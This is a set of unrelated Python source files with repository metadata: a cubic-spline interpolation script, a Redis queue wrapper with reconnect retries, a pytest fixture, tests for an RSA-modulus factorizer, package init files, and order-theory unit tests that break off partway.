import numpy as np x = np.linspace(0.,2.,11) a = np.array([1,1.125,1.039,0.6663,-0.0650,-1.131,-2.448,-3.821,-4.944,-5.425,-4.83]) b = np.array([0. for i in range(11)]) c = np.array([0. for i in range(11)]) d = np.array([0. for i in range(11)]) h = np.array([0. for i in range(10)]) alpha = np.array([0. for i in range(10)]) l = np.array([1. for i in range(11)]) mu = np.array([0. for i in range(10)]) zeta = np.array([0. for i in range(11)]) for i in range(10): h[i] = x[i+1] - x[i] for i in range(1,10): alpha[i] = 3*(a[i+1] - a[i])/h[i] - 3*(a[i] - a[i-1])/h[i-1] for i in range(1,10): l[i] = 2*(x[i+1] - x[i-1]) - h[i-1]*mu[i-1] mu[i] = h[i]/l[i] zeta[i] = (alpha[i] - h[i-1]*zeta[i-1])/l[i] for j in range(9,-1,-1): c[j] = zeta[j] - mu[j]*c[j+1] b[j] = (a[j+1] - a[j])/h[j] - h[j]*(c[j+1] + 2*c[j])/3 d[j] = (c[j+1] - c[j])/(3*h[j]) eval_front_1 = np.subtract(0.5, x[2]) eval_front_2 = np.multiply(eval_front_1, eval_front_1) eval_front_3 = np.multiply(eval_front_2, eval_front_1) eval_front_S = np.add(a[2], np.multiply(b[2], eval_front_1)) eval_front_S = np.add(eval_front_S, np.multiply(c[2], eval_front_2)) eval_front_S = np.add(eval_front_S, np.multiply(d[2], eval_front_3)) eval_back_1 = np.subtract(0.5, x[3]) eval_back_2 = np.multiply(eval_back_1, eval_back_1) eval_back_3 = np.multiply(eval_back_2, eval_back_1) eval_back_S = np.add(a[3], np.multiply(b[3], eval_back_1)) eval_back_S = np.add(eval_back_S, np.multiply(c[3], eval_back_2)) eval_back_S = np.add(eval_back_S, np.multiply(d[3], eval_back_3)) eval_exact = np.exp(0.5) * np.cos(1.0) front_diff = np.abs(np.subtract(eval_exact,eval_front_S)) back_diff = np.abs(np.subtract(eval_exact,eval_back_S)) print("\nFunction Value") print("x = 0.5 : ",end="") if(front_diff > back_diff): print(back_diff) else: print(front_diff) eval_front_1 = np.subtract(1.5, x[7]) eval_front_2 = np.multiply(eval_front_1, eval_front_1) eval_front_3 = np.multiply(eval_front_2, eval_front_1) eval_front_S = np.add(a[7], np.multiply(b[7], eval_front_1)) eval_front_S = np.add(eval_front_S, np.multiply(c[7], eval_front_2)) eval_front_S = np.add(eval_front_S, np.multiply(d[7], eval_front_3)) eval_back_1 = np.subtract(1.5, x[8]) eval_back_2 = np.multiply(eval_back_1, eval_back_1) eval_back_3 = np.multiply(eval_back_2, eval_back_1) eval_back_S = np.add(a[8], np.multiply(b[8], eval_back_1)) eval_back_S = np.add(eval_back_S, np.multiply(c[8], eval_back_2)) eval_back_S = np.add(eval_back_S, np.multiply(d[8], eval_back_3)) eval_exact = np.exp(1.5) * np.cos(3.0) front_diff = np.abs(np.subtract(eval_exact,eval_front_S)) back_diff = np.abs(np.subtract(eval_exact,eval_back_S)) print("x = 1.5 : ",end="") if(front_diff > back_diff): print(back_diff) else: print(front_diff) eval_front_1 = np.multiply(2,np.subtract(0.5, x[2])) eval_front_2 = np.multiply(3,np.multiply(eval_front_1, eval_front_1)) eval_front_S = np.add(b[2], np.multiply(c[2], eval_front_1)) eval_front_S = np.add(eval_front_S, np.multiply(d[2], eval_front_2)) eval_back_1 = np.multiply(2,np.subtract(0.5, x[3])) eval_back_2 = np.multiply(3,np.multiply(eval_back_1, eval_back_1)) eval_back_S = np.add(b[3], np.multiply(c[3], eval_back_1)) eval_back_S = np.add(eval_back_S, np.multiply(d[3], eval_back_2)) eval_exact = np.exp(0.5) * (np.cos(1.0) - 2 * np.sin(1.0)) front_diff = np.abs(np.subtract(eval_exact,eval_front_S)) back_diff = np.abs(np.subtract(eval_exact,eval_back_S)) print("\nDerivation Value") print("x = 0.5 : ",end="") if(front_diff > back_diff): print(back_diff) else: print(front_diff) eval_front_1 = np.multiply(2,np.subtract(1.5, x[7])) eval_front_2 = np.multiply(3,np.multiply(eval_front_1, eval_front_1)) eval_front_S = np.add(b[7], np.multiply(c[7], eval_front_1)) eval_front_S = np.add(eval_front_S, np.multiply(d[7], eval_front_2)) eval_back_1 = np.multiply(2,np.subtract(1.5, x[8])) eval_back_2 = np.multiply(3,np.multiply(eval_back_1, eval_back_1)) eval_back_S = np.add(b[8], np.multiply(c[8], eval_back_1)) eval_back_S = np.add(eval_back_S, np.multiply(d[8], eval_back_2)) eval_exact = np.exp(1.5) * (np.cos(3.0) - 2 * np.sin(3.0)) front_diff = np.abs(np.subtract(eval_exact,eval_front_S)) back_diff = np.abs(np.subtract(eval_exact,eval_back_S)) print("x = 1.5 : ",end="") if(front_diff > back_diff): print(back_diff) else: print(front_diff)

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null

0

6

da7905df3e13783d782f25ead3da960fff8459f0

22,621

py

Python

tests/redis_wrapper.py

jay-johnson/docker-redis-haproxy-cluster

fbcbba8ba9a0266b718185f2d9aab6e8419cede1

[ "MIT" ]

41

2016-01-12T06:20:47.000Z

2021-11-13T00:57:10.000Z

tests/redis_wrapper.py

jay-johnson/docker-redis-haproxy-cluster

fbcbba8ba9a0266b718185f2d9aab6e8419cede1

[ "MIT" ]

1

2016-11-20T13:26:14.000Z

tests/redis_wrapper.py

jay-johnson/docker-redis-haproxy-cluster

fbcbba8ba9a0266b718185f2d9aab6e8419cede1

[ "MIT" ]

11

2016-02-26T16:26:35.000Z

2021-11-12T22:10:19.000Z

import json, os, datetime from functools import wraps try: import cPickle as pickle except ImportError: import pickle from redis import Redis from time import sleep class RedisWrapper(object): def __init__(self, name, serializer=pickle, **kwargs): self.m_debug = False self.m_name = name self.m_theserializer = serializer self.m_redis = Redis(**kwargs) self.m_retry_interval = 1 self.m_retry_count = 1 self.m_max_retries = -1 self.m_max_sleep_secs = 30 # 30 seconds self.m_host = "" self.m_port = "" self.m_id = "Name(" + str(self.m_name) + ")" for key, value in kwargs.iteritems(): if str(key) == "host": self.m_host = str(value) if str(key) == "port": self.m_port = str(value) if self.m_host != "" and self.m_port != "": self.m_id = "Name(" + str(self.m_name) + ") RedisAddress(" + str(self.m_host) + ":" + str(self.m_port) + ")" self.m_error_log = "/tmp/__redis_errors.log" self.m_state = "Disconnected" # end of __init__ def retry_throttled_connection(self, ex, debug=False): msg = "ERROR - " + str(datetime.datetime.now().strftime("%d-%m-%Y %H:%M:%S")) + " - " + self.m_id + " - RW EX - " + str(ex) + "\n" # append to the error log with open(self.m_error_log, "a") as output_file: output_file.write(str(msg)) try: self.m_state = "Disconnected" cur_sleep = (self.m_retry_interval * self.m_retry_count) + 1 if debug: print "Retrying Connection" while self.m_state == "Disconnected": try: msg = self.safe_get_cached_single_set("RetryingRedisConnection") if "Status" in msg and str(msg["Status"]) != "EXCEPTION": print "------" print "SUCCESS(" + str(msg) + ")" print str(msg) print "" self.m_state = "Connected" except Exception,e: if debug: print "Redis Failed Connection Retry(" + str(e) + ")" if self.m_state != "Connected": cur_sleep = (self.m_retry_interval * self.m_retry_count) + 1 if cur_sleep > self.m_max_sleep_secs: cur_sleep = self.m_max_sleep_secs if debug: print "---MAX SLEEP(" + str(self.m_max_sleep_secs) + ") HIT" else: self.m_retry_count += 1 self.m_retry_interval += 2 if debug: print " - Sleeping before Retry(" + str(cur_sleep) + ")" sleep(cur_sleep) # end of while disconnected if debug: print "Retrying Connection - SUCCESS" self.m_retry_count = 1 self.m_retry_interval = 1 except Exception, k: print "ERROR: Redis Retry Connection had Critical Failure(" + str(k) + ")" print "ERROR: Redis Retry Connection had Critical Failure(" + str(k) + ")" print "ERROR: Redis Retry Connection had Critical Failure(" + str(k) + ")" print "ERROR: Redis Retry Connection had Critical Failure(" + str(k) + ")" print "ERROR: Redis Retry Connection had Critical Failure(" + str(k) + ")" print "ERROR: Redis Retry Connection had Critical Failure(" + str(k) + ")" # end of try/ex msg = "Retry Completed - " + str(datetime.datetime.now().strftime("%d-%m-%Y %H:%M:%S")) + " - " + self.m_id + " - RW.m_state(" + str(self.m_state) + ")" + "\n" # append to the error log with open(self.m_error_log, "a") as output_file: output_file.write(str(msg)) if debug: print msg return True # end of retry_throttled_connection def client_kill(self): try: self.m_redis.connection_pool.get_connection("QUIT").disconnect() self.m_state = "Disconnected" except Exception, p: print "ERROR: Failed to Kill: " + str(self.m_id) + " with Ex(" + str(p) + ")" self.m_state = "Disconnected" return None # end of client_kill def __rlen(self): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ return self.m_redis.llen(self.key()) ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of __rlen def allconsume(self, **kwargs): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ kwargs.setdefault('block', True) try: while True: msg = self.get(**kwargs) if msg is None: break yield msg except KeyboardInterrupt: print; return ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of allconsume def key(self): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ return "%s" % self.m_name ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of key def get_cached_multiple_set(self, start_idx=0, end_idx=-1, queue=None): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ msg = None if queue == None: msg = self.m_redis.lrange(self.key(), start_idx, end_idx) return msg else: msg = self.m_redis.lrange(queue, start_idx, end_idx) return msg if msg is not None and self.m_theserializer is not None: msg = self.m_theserializer.loads(msg[0]) return msg return msg ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of get_cached_multiple_set def safe_get_cached_single_set(self, key): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ msg = { "Value" : None, "Status" : None, "Exception" : None } try: cached_msg = self.m_redis.lrange(key, 0, 1) new_msg = None if cached_msg is not None and len(cached_msg) != 0 and self.m_theserializer is not None: new_msg = self.m_theserializer.loads(cached_msg[0]) msg["Value"] = new_msg msg["Status"] = "SUCCESS" # end of try except Exception, e: msg["Status"] = "EXCEPTION" msg["Exception"] = "Exception(" + str(e) + ")" # end of exception return msg ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of safe_get_cached_single_set def get_cached_single_set(self, queue=None): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ msg = None if queue == None: msg = self.m_redis.lrange(self.key(), 0, 1) return msg else: msg = self.m_redis.lrange(queue, 0, 1) return msg if msg is not None and self.m_theserializer is not None: msg = self.m_theserializer.loads(msg[0]) return msg return msg ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of get_cached_single_set def get(self, block=False, timeout=None, queue=None): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ msg = None if block: if timeout is None: timeout = 0 if queue == None: msg = self.m_redis.blpop(self.key(), timeout=timeout) else: msg = self.m_redis.blpop(queue, timeout=timeout) if msg is not None: msg = msg[1] else: if queue == None: msg = self.m_redis.lpop(self.key()) else: msg = self.m_redis.lpop(queue) if msg is not None and self.m_theserializer is not None: msg = self.m_theserializer.loads(msg) return msg ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of get def put_into_key(self, key, *msgs): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ if self.m_theserializer is not None: msgs = map(self.m_theserializer.dumps, msgs) self.m_redis.rpush(key, *msgs) ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of put_into_key def put(self, *msgs): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ if self.m_theserializer is not None: msgs = map(self.m_theserializer.dumps, msgs) self.m_redis.rpush(self.key(), *msgs) ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of put def exists(self, key): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ return self.m_redis.exists(key) ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of exists def delete_cache(self, queue=None): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ if queue == None: self.m_redis.delete(self.key()) else: self.m_redis.delete(queue) return None ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of delete_cache def flush_all(self): ############################################################################################ # START common safety net for high availability connectivity handling # This class will automatically retry connections for Redis Instances that are not available success = False while not success: try: # END common safety net for high availability connectivity handling ############################################################################################ self.m_redis.flushall() return None ############################################################################################ # START common safety net for high availability connectivity handling success = True except Exception,R: # try to reconnect with a throttle self.retry_throttled_connection(R) # end try/ex # end of while not successful # END common safety net for high availability connectivity handling ############################################################################################ # end of flush_all # end of class RedisWrapper

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null

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1

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null

0

1

0

6

da8ca03a8ca13c481cb2cf14c5518defd2f1e6e9

126

py

Python

src/pytest_mock_resources/container/redshift.py

ocaballeror/pytest-mock-resources

6f388237d7ca51b5d5ce5739fb717bf242cfc86c

[ "MIT" ]

49

2020-01-24T21:08:43.000Z

2022-03-31T23:55:21.000Z

src/pytest_mock_resources/container/redshift.py

michaelbukachi/pytest-mock-resources

f0c5d56af7aeca3cd1a64cd84237d8d4b5b993a4

[ "MIT" ]

29

2020-03-11T19:07:50.000Z

2022-03-30T16:49:06.000Z

src/pytest_mock_resources/container/redshift.py

michaelbukachi/pytest-mock-resources

f0c5d56af7aeca3cd1a64cd84237d8d4b5b993a4

[ "MIT" ]

10

2020-01-23T19:04:09.000Z

2022-02-22T19:57:54.000Z

import pytest @pytest.fixture(scope="session") def _redshift_container(_postgres_container): return _postgres_container

18

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null

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1

0

6

e550479ea874240694e20c043902fe1111047aa8

3,014

py

Python

tests/test_rsaprivatekey.py

FullteaR/factorizer

f4beb7a14d6cda38d69b9ff6dbe673575b554288

[ "MIT" ]

null

tests/test_rsaprivatekey.py

FullteaR/factorizer

f4beb7a14d6cda38d69b9ff6dbe673575b554288

[ "MIT" ]

null

tests/test_rsaprivatekey.py

FullteaR/factorizer

f4beb7a14d6cda38d69b9ff6dbe673575b554288

[ "MIT" ]

null

import pytest from factorizer import RSAPrivateKeyFactorizer as Factorizer from factorizer import TimeOutError def test_ok_normal_case(): n = 27686602223927069809508667129651371574022939911012945899001963424465432485857959278558567281517986710814493093153793525047594117727967922805090645353064983356364587573528439400605242106130103131384993204101341653150290978652895046371555816803503680877880178698972551411830684046183050273503256489746735122896322889851233107319826830407170825219504026080487291571593984998811061039563352881755150841596074226928497041576188756112952655828168668354006968017555707521724480003190926244967186018315461915028536777617724701916068306698854834025206955234552798984323325634496632645984709079699996404187769159304233647822817 d = 24519437769149139138866335660847545755165653484828286006043516748645401856648854182027545432645741317052553200888752554950064278086138490312456491085827725315522539371158133921466167994259596651442467698644153219537709818896410096455515199158877483530710370808678561483477316661434979292218578919768993187556392027276261818313248453442745589939088057747368431718456807618716287398645113323934099505504696161971119193577301554819446410886001798824782611510559183940960340872731200080537116249824675375515706234728334218799881290646607824216835997567209464899473615916775422544955890417233691031033339957172951014984193 e = 65537 divider = Factorizer(timeout=5) facts = divider.factorize(n=n, d=d, e=e) assert facts[0]!=0 and facts[1]!=0 assert n == facts[0] * facts[1] def test_ok_reverse_case(): n = 27686602223927069809508667129651371574022939911012945899001963424465432485857959278558567281517986710814493093153793525047594117727967922805090645353064983356364587573528439400605242106130103131384993204101341653150290978652895046371555816803503680877880178698972551411830684046183050273503256489746735122896322889851233107319826830407170825219504026080487291571593984998811061039563352881755150841596074226928497041576188756112952655828168668354006968017555707521724480003190926244967186018315461915028536777617724701916068306698854834025206955234552798984323325634496632645984709079699996404187769159304233647822817 d = 65537 e = 24519437769149139138866335660847545755165653484828286006043516748645401856648854182027545432645741317052553200888752554950064278086138490312456491085827725315522539371158133921466167994259596651442467698644153219537709818896410096455515199158877483530710370808678561483477316661434979292218578919768993187556392027276261818313248453442745589939088057747368431718456807618716287398645113323934099505504696161971119193577301554819446410886001798824782611510559183940960340872731200080537116249824675375515706234728334218799881290646607824216835997567209464899473615916775422544955890417233691031033339957172951014984193 divider = Factorizer(timeout=5) facts = divider.factorize(n=n, d=d, e=e) assert facts[0]!=0 and facts[1]!=0 assert n == facts[0] * facts[1]

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e56d95d60ea2a9be0ea3292ff4f38ad247914a00

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py

Python

ivy/functional/__init__.py

saurbhc/ivy

20b327b4fab543b26ad5a18acf4deddd6e3c804b

[ "Apache-2.0" ]

681

2022-01-18T19:08:56.000Z

2022-03-31T22:48:37.000Z

ivy/functional/__init__.py

saurbhc/ivy

20b327b4fab543b26ad5a18acf4deddd6e3c804b

[ "Apache-2.0" ]

637

2022-01-19T07:40:28.000Z

2022-03-31T19:06:47.000Z

ivy/functional/__init__.py

saurbhc/ivy

20b327b4fab543b26ad5a18acf4deddd6e3c804b

[ "Apache-2.0" ]

501

2022-01-23T14:48:35.000Z

2022-03-31T04:09:38.000Z

from . import ivy from .ivy import *

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e58bad6ee97b75bc492de59da54119e28a5efc84

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py

Python

elliot/recommender/NN/item_knn/__init__.py

swapUniba/Elliot_refactor-tesi-Ventrella

3ddffc041696c90a6f6d3e8906c212fc4f55f842

[ "Apache-2.0" ]

null

elliot/recommender/NN/item_knn/__init__.py

swapUniba/Elliot_refactor-tesi-Ventrella

3ddffc041696c90a6f6d3e8906c212fc4f55f842

[ "Apache-2.0" ]

null

elliot/recommender/NN/item_knn/__init__.py

swapUniba/Elliot_refactor-tesi-Ventrella

3ddffc041696c90a6f6d3e8906c212fc4f55f842

[ "Apache-2.0" ]

1

2021-06-02T06:57:07.000Z

from elliot.recommender.NN.item_knn.item_knn import ItemKNN

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6

e59415b72b9e78598ec51131121cb9c26ef970c2

16,004

py

Python

ot/test/test_ordertheory.py

cjeffers/OT

bd417af705fae49ae3b38eb1e621180b4cf802d2

[ "BSD-3-Clause" ]

null

ot/test/test_ordertheory.py

cjeffers/OT

bd417af705fae49ae3b38eb1e621180b4cf802d2

[ "BSD-3-Clause" ]

null

ot/test/test_ordertheory.py

cjeffers/OT

bd417af705fae49ae3b38eb1e621180b4cf802d2

[ "BSD-3-Clause" ]

1

2022-03-11T00:23:34.000Z

import unittest from .. import ordertheory class OrderTheoryTests(unittest.TestCase): def test_powerset(self): """Powerset calculate ok?""" test_pset = set([(), (1,), (2,), (3,), (4,), (1, 2), (1, 3), (1, 4), (2, 3), (2, 4), (3, 4), (1, 2, 3), (1, 2, 4), (1, 3, 4), (2, 3, 4), (1, 2, 3, 4)]) pset = list(ordertheory.Powerset().powerset([1,2,3,4])) for elem in pset: msg = "%s from generated set not in test powerset" % str(elem) self.assertTrue(elem in test_pset, msg) for elem in test_pset: msg = "%s from test powerset not in generated set" % str(elem) self.assertTrue(elem in pset, msg) def test_functional_space(self): """Functional space calculated correctly?""" test_fspace = [[(1, 6), (2, 4), (3, 5)], [(1, 6), (2, 5), (3, 4)], [(1, 4), (2, 6), (3, 4)], [(1, 4), (2, 5), (3, 4)], [(1, 4), (2, 4), (3, 4)], [(1, 6), (2, 5), (3, 6)], [(1, 5), (2, 6), (3, 4)], [(1, 4), (2, 6), (3, 5)], [(1, 5), (2, 5), (3, 4)], [(1, 5), (2, 6), (3, 6)], [(1, 5), (2, 4), (3, 6)], [(1, 4), (2, 5), (3, 6)], [(1, 5), (2, 6), (3, 5)], [(1, 5), (2, 5), (3, 5)], [(1, 4), (2, 6), (3, 6)], [(1, 6), (2, 4), (3, 6)], [(1, 6), (2, 5), (3, 5)], [(1, 6), (2, 6), (3, 4)], [(1, 5), (2, 4), (3, 5)], [(1, 4), (2, 5), (3, 5)], [(1, 5), (2, 5), (3, 6)], [(1, 6), (2, 6), (3, 5)], [(1, 5), (2, 4), (3, 4)], [(1, 6), (2, 6), (3, 6)], [(1, 6), (2, 4), (3, 4)], [(1, 4), (2, 4), (3, 5)], [(1, 4), (2, 4), (3, 6)]] fspace = ordertheory.FunctionalSpace().funcs([1, 2, 3], [4, 5, 6]) msg = "functional space from [1,2,3] into [4,5,6] doesn't match" self.assertEqual(fspace, test_fspace, msg) def test_strict_total_orders(self): """Strict total orders calculated ok?""" test_orders = [frozenset([(1, 2), (1, 3), (1, 4), (2, 3), (3, 4), (2, 4)]), frozenset([(1, 2), (1, 3), (1, 4), (2, 3), (4, 3), (2, 4)]), frozenset([(1, 2), (3, 2), (1, 3), (1, 4), (3, 4), (2, 4)]), frozenset([(1, 2), (3, 2), (1, 3), (1, 4), (4, 2), (3, 4)]), frozenset([(1, 2), (1, 3), (1, 4), (2, 3), (4, 3), (4, 2)]), frozenset([(1, 2), (3, 2), (1, 3), (1, 4), (4, 3), (4, 2)]), frozenset([(1, 3), (2, 1), (2, 3), (1, 4), (3, 4), (2, 4)]), frozenset([(1, 3), (2, 1), (2, 3), (1, 4), (4, 3), (2, 4)]), frozenset([(3, 1), (2, 1), (2, 3), (1, 4), (3, 4), (2, 4)]), frozenset([(4, 1), (3, 1), (2, 1), (2, 3), (3, 4), (2, 4)]), frozenset([(1, 3), (2, 1), (2, 3), (4, 3), (4, 1), (2, 4)]), frozenset([(3, 1), (2, 1), (2, 3), (4, 3), (4, 1), (2, 4)]), frozenset([(1, 2), (3, 2), (3, 1), (1, 4), (3, 4), (2, 4)]), frozenset([(1, 2), (3, 2), (3, 1), (1, 4), (4, 2), (3, 4)]), frozenset([(3, 2), (3, 1), (2, 1), (1, 4), (3, 4), (2, 4)]), frozenset([(3, 2), (3, 4), (3, 1), (2, 1), (4, 1), (2, 4)]), frozenset([(1, 2), (3, 2), (3, 4), (3, 1), (4, 2), (4, 1)]), frozenset([(3, 2), (3, 4), (3, 1), (2, 1), (4, 2), (4, 1)]), frozenset([(1, 2), (1, 3), (2, 3), (4, 3), (4, 2), (4, 1)]), frozenset([(1, 2), (3, 2), (1, 3), (4, 3), (4, 2), (4, 1)]), frozenset([(1, 3), (2, 1), (2, 3), (4, 3), (4, 2), (4, 1)]), frozenset([(3, 1), (2, 1), (2, 3), (4, 3), (4, 2), (4, 1)]), frozenset([(1, 2), (3, 2), (3, 1), (4, 3), (4, 2), (4, 1)]), frozenset([(3, 2), (3, 1), (2, 1), (4, 3), (4, 2), (4, 1)])] orders = list(ordertheory.StrictTotalOrders().orders([1,2,3,4])) msg = "strict total orders for [1,2,3,4] don't match" self.assertEqual(orders, test_orders, msg) def test_strict_orders(self): """Lattices generate ok? (3-constraint)""" test_lat = { frozenset([(1, 3), (2, 3)]): { 'down': set([frozenset([(1, 3), (2, 3)]), frozenset([(2, 3)]), frozenset([]), frozenset([(1, 3)])]), 'max': set([frozenset([(1, 3), (2, 3), (2, 1)]), frozenset([(1, 2), (1, 3), (2, 3)])]), 'up': set([frozenset([(1, 3), (2, 3)]), frozenset([(1, 2), (1, 3), (2, 3)]), frozenset([(1, 3), (2, 3), (2, 1)])])}, frozenset([(2, 3)]): { 'down': set([frozenset([(2, 3)]), frozenset([])]), 'max': set([frozenset([(1, 3), (2, 3), (2, 1)]), frozenset([(1, 2), (1, 3), (2, 3)]), frozenset([(3, 1), (2, 3), (2, 1)])]), 'up': set([frozenset([(1, 3), (2, 3)]), frozenset([(2, 3)]), frozenset([(1, 3), (2, 3), (2, 1)]), frozenset([(3, 1), (2, 3), (2, 1)]), frozenset([(1, 2), (1, 3), (2, 3)]), frozenset([(2, 3), (2, 1)])])}, frozenset([(3, 2), (3, 1)]): { 'down': set([frozenset([(3, 2)]), frozenset([(3, 2), (3, 1)]), frozenset([]), frozenset([(3, 1)])]), 'max': set([frozenset([(1, 2), (3, 2), (3, 1)]), frozenset([(3, 2), (3, 1), (2, 1)])]), 'up': set([frozenset([(1, 2), (3, 2), (3, 1)]), frozenset([(3, 2), (3, 1)]), frozenset([(3, 2), (3, 1), (2, 1)])])}, frozenset([(1, 3)]): { 'down': set([frozenset([]), frozenset([(1, 3)])]), 'max': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(1, 2), (1, 3), (2, 3)]), frozenset([(1, 3), (2, 3), (2, 1)])]), 'up': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(1, 3)]), frozenset([(1, 3), (2, 3)]), frozenset([(1, 3), (2, 3), (2, 1)]), frozenset([(1, 2), (1, 3), (2, 3)]), frozenset([(1, 2), (1, 3)])])}, frozenset([(1, 2)]): { 'down': set([frozenset([]), frozenset([(1, 2)])]), 'max': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(1, 2), (1, 3), (2, 3)]), frozenset([(1, 2), (3, 2), (3, 1)])]), 'up': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(1, 2)]), frozenset([(1, 2), (1, 3), (2, 3)]), frozenset([(1, 2), (3, 2)]), frozenset([(1, 2), (3, 2), (3, 1)]), frozenset([(1, 2), (1, 3)])])}, frozenset([(1, 2), (3, 2), (1, 3)]): { 'down': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(1, 3)]), frozenset([(1, 2)]), frozenset([]), frozenset([(1, 2), (3, 2)]), frozenset([(3, 2)]), frozenset([(1, 2), (1, 3)])]), 'max': set([frozenset([(1, 2), (3, 2), (1, 3)])]), 'up': set([frozenset([(1, 2), (3, 2), (1, 3)])])}, frozenset([(2, 3), (2, 1)]): { 'down': set([frozenset([(2, 1)]), frozenset([(2, 3), (2, 1)]), frozenset([(2, 3)]), frozenset([])]), 'max': set([frozenset([(1, 3), (2, 3), (2, 1)]), frozenset([(3, 1), (2, 3), (2, 1)])]), 'up': set([frozenset([(1, 3), (2, 3), (2, 1)]), frozenset([(2, 3), (2, 1)]), frozenset([(3, 1), (2, 3), (2, 1)])])}, frozenset([(3, 1), (2, 1)]): { 'down': set([frozenset([(2, 1)]), frozenset([]), frozenset([(3, 1)]), frozenset([(3, 1), (2, 1)])]), 'max': set([frozenset([(3, 1), (2, 3), (2, 1)]), frozenset([(3, 2), (3, 1), (2, 1)])]), 'up': set([frozenset([(3, 1), (2, 3), (2, 1)]), frozenset([(3, 2), (3, 1), (2, 1)]), frozenset([(3, 1), (2, 1)])])}, frozenset([]): { 'down': set([frozenset([])]), 'max': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(3, 2), (3, 1), (2, 1)]), frozenset([(1, 3), (2, 3), (2, 1)]), frozenset([(3, 1), (2, 3), (2, 1)]), frozenset([(1, 2), (1, 3), (2, 3)]), frozenset([(1, 2), (3, 2), (3, 1)])]), 'up': set([frozenset([(1, 3), (2, 3)]), frozenset([(2, 3)]), frozenset([(3, 2), (3, 1)]), frozenset([(1, 3)]), frozenset([(1, 2)]), frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(2, 3), (2, 1)]), frozenset([(3, 1), (2, 1)]), frozenset([]), frozenset([(3, 1)]), frozenset([(2, 1)]), frozenset([(3, 1), (2, 3), (2, 1)]), frozenset([(1, 2), (1, 3), (2, 3)]), frozenset([(1, 2), (3, 2)]), frozenset([(1, 3), (2, 3), (2, 1)]), frozenset([(1, 2), (3, 2), (3, 1)]), frozenset([(3, 2)]), frozenset([(1, 2), (1, 3)]), frozenset([(3, 2), (3, 1), (2, 1)])])}, frozenset([(3, 1)]): { 'down': set([frozenset([]), frozenset([(3, 1)])]), 'max': set([frozenset([(3, 1), (2, 3), (2, 1)]), frozenset([(3, 2), (3, 1), (2, 1)]), frozenset([(1, 2), (3, 2), (3, 1)])]), 'up': set([frozenset([(3, 2), (3, 1), (2, 1)]), frozenset([(3, 1), (2, 1)]), frozenset([(3, 2), (3, 1)]), frozenset([(3, 1)]), frozenset([(3, 1), (2, 3), (2, 1)]), frozenset([(1, 2), (3, 2), (3, 1)])])}, frozenset([(2, 1)]): { 'down': set([frozenset([(2, 1)]), frozenset([])]), 'max': set([frozenset([(1, 3), (2, 3), 